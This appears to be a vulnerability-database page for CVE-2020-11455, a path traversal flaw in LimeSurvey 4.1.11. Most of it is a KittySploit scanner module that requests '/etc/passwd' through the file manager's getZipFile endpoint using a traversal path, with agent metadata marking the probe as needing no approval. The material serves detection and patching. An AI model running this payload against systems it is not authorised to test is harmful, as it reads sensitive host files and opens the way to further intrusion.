LimeSurvey 4.1.11 - Local File Inclusion Detection
| Reporter | Title | Published | Views | Family All 19 |
|---|---|---|---|---|
| LimeSurvey 4.1.11 - (File Manager) Path Traversal Vulnerability | 6 Apr 202000:00 | – | zdt | |
| CVE-2020-11455 | 6 Apr 202000:00 | – | circl | |
| LimeSurvey path traversal vulnerability (CNVD-2020-23188) | 2 Apr 202000:00 | – | cnvd | |
| CVE-2020-11455 | 1 Apr 202015:48 | – | cve | |
| CVE-2020-11455 | 1 Apr 202015:48 | – | cvelist | |
| LimeSurvey 4.1.11 - 'File Manager' Path Traversal | 6 Apr 202000:00 | – | exploitdb | |
| CVE-2020-11455 | 1 Apr 202015:48 | – | mend | |
| LimeSurvey Zip Path Traversals | 2 Apr 202000:00 | – | metasploit | |
| LimeSurvey 4.1.11 - Local File Inclusion | 27 Sep 202602:09 | – | nuclei | |
| CVE-2020-11455 | 1 Apr 202016:15 | – | nvd |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""LimeSurvey before 4."""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'LimeSurvey 4.1.11 - Local File Inclusion Detection',
'description': 'LimeSurvey before 4.1.12+200324 is vulnerable to local file inclusion because it contains a path traversal vulnerability in application/controllers/admin/LimeSurveyFileManager.php.',
'author': ['KittySploit Team'],
'severity': 'critical',
'tags': ['web', 'scanner', 'cve', 'cve2020', 'lfi', 'edb', 'packetstorm', 'limesurvey', 'vkev', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'admin_surface',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
},
},
'references': [
'https://www.exploit-db.com/exploits/48297',
'https://github.com/LimeSurvey/LimeSurvey/commit/daf50ebb16574badfb7ae0b8526ddc5871378f1b',
'http://packetstormsecurity.com/files/157112/LimeSurvey-4.1.11-Path-Traversal.html',
'https://nvd.nist.gov/vuln/detail/CVE-2020-11455',
'https://github.com/KayCHENvip/vulnerability-poc',
],
'cve': 'CVE-2020-11455',
}
def run(self):
r = self.http_request(method="GET", path='/index.php/admin/filemanager/sa/getZipFile?path=/../../../../../../../etc/passwd', allow_redirects=False)
if not r or r.status_code != 200:
return False
body = r.text or ""
body_regexes = ('root:.*:0:0:',)
if (any(re.search(rx, body, 0) for rx in body_regexes)):
self.set_info(
severity='critical',
reason="LimeSurvey 4.1.11 - Local File Inclusion detected",
path='/index.php/admin/filemanager/sa/getZipFile?path=/../../../../../../../etc/passwd',
)
return True
return False
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28 Jul 2026 11:27Current
8.4High risk
Vulners AI Score8.4
CVSS 27.5
CVSS 3.19.8
EPSS0.97179